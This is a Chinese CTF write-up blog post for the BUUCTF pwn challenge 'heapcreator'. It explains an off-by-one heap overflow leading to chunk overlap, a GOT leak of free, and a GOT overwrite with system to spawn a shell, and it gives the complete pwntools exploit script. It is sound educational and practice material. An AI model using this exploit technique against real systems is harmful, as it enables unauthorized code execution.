• [BUUCTF]PWN——hitcontraining_heapcreator


    hitcontraining_heapcreator

    附件

    步骤:

    1. 例行检查,64位程序,开启了canary和nx
      在这里插入图片描述
    2. 本地试运行一下,看看大概的情况,经典的堆的菜单
      在这里插入图片描述
    3. 64位ida载入,main函数没有什么看头,直接看各个功能函数
      create(),一次请求申请了两个chunk,前一个chunk里记录着后一个chunk的指针和size
      在这里插入图片描述
      edit()
      在这里插入图片描述
      show()
      在这里插入图片描述
      delete()
      在这里插入图片描述
    4. 利用思路:
      利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
      申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
    5. 利用过程:
      1) 首先申请几个堆块看一下上述的堆的布局结构
    create(0x18,'aaaa')
    create(0x10,'bbbb')
    create(0x10,'cccc')
    

    在这里插入图片描述
    和之前分析的一样,调用一次creat_heap()会创建两个chunk,第一个chunk里记录着第二个chunk的大小和地址

    2)之后我将chunk0里的内容写成了‘/bin/sh’字符串,我打算泄露free的地址,然后改写为system地址,之后再执行 free(chunk0)的时候就会变成system(‘/bin/sh’)从而获取shell,顺便利用off-by-one溢出一字节的特性改写chunk1的大小,然后free掉

    edit(0,'/bin/shx00'+p64(0)*2+'x81')
    delete(1)
    

    在这里插入图片描述
    现在0x40~0xc0(如图标记)的内存地址已经被free掉了,我们只要在申请一个差不多大小的chunk,就能重新得到这块内存地址,实现任意读写了,但是注意,0xa0里存放的仍然是chunk2的size和地址。

    create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
    show(2)
    free_addr=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    

    我重新申请了一个chunk,并在里面将chunk2的地址覆写成了free的got表地址,泄露了free的地址
    在这里插入图片描述
    得到了free的地址,泄露了libc,就可以计算出system的地址了

    libc=LibcSearcher('free',free_addr)
    libcbase=free_addr-libc.dump('free')
    system_addr=libcbase+libc.dump('system')
    

    之前我们已经将指向chunk2地址的指针覆写成了free的got表,也就是说chunk2里的内容现在是free函数的地址,现在往chnk2里写入system函数的地址,覆写掉了free函数的地址,也就是说现在free的got表地址指向的是system函数

    edit(2,p64(system_addr))
    

    最后执行free(chunk0),经过上述的操作,就变成了system(‘/bin/sh’),获取了shell

    完整exp:

    from pwn import *
    from LibcSearcher import *
    
    p=process('./heapcreator')
    #p=remote('node3.buuoj.cn',27304)
    elf=ELF('./heapcreator')
    context.log_level='debug'
    
    def create(size,content):
         p.recvuntil(':')
         p.sendline('1')
         p.recvuntil('Heap : ')
         p.sendline(str(size))
         p.recvuntil('heap:')
         p.sendline(content)
    
    def edit(idx,content):
        p.recvuntil('choice :')
        p.sendline('2')
        p.recvuntil(' :')
        p.sendline(str(idx))
        p.recvuntil('heap :')
        p.sendline(content)
    
    def show(idx):
        p.recvuntil('choice :')
        p.sendline('3')
        p.recvuntil(' :')
        p.sendline(str(idx))
    
    def delete(idx):
        p.recvuntil('choice :')
        p.sendline('4')
        p.recvuntil(' :')
        p.sendline(str(idx))
    
    create(0x18,'aaaa')
    create(0x10,'bbbb')
    create(0x10,'cccc')
    #gdb.attach(p)
    
    edit(0,'/bin/shx00'+p64(0)*2+'x81')
    delete(1)
    #gdb.attach(p)
    create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
    #create(0x70,p64(0)*14)
    #gdb.attach(p)
    
    show(2)
    free_addr=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    log.success('free_addr: '+hex(free_addr))
    
    libc=LibcSearcher('free',free_addr)
    libcbase=free_addr-libc.dump('free')
    system_addr=libcbase+libc.dump('system')
    log.success('system_addr: '+hex(system_addr))
    
    edit(2,p64(system_addr))
    #gdb.attach(p)
    delete(0)
    p.interactive()
    

    在这里插入图片描述
    在堆方面是个新手,全是自己的理解,有些地方可能不对,大佬发现错误了教教我
    在这里插入图片描述

  • 相关阅读:
    Kprobes—insight into the Linux kernel—replace kernel function with module
    Go将统治下一个十年
    linux—网络仿真开源软件—network simulator—ns
    Serval Project——Android
    CentOS7—Firefox—截图工具—fireshot插件
    Wi-Fi Direct技术
    国产CPU迷局 龙芯该如何参与市场竞争
    《深入理解Android:Wi-Fi,NFC和GPS》—android源码下载
    wifi direct—深入理解Wi-Fi P2P
    c语言学习基础:[1]开发工具介绍
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273605.html
Copyright © 2020-2023  润新知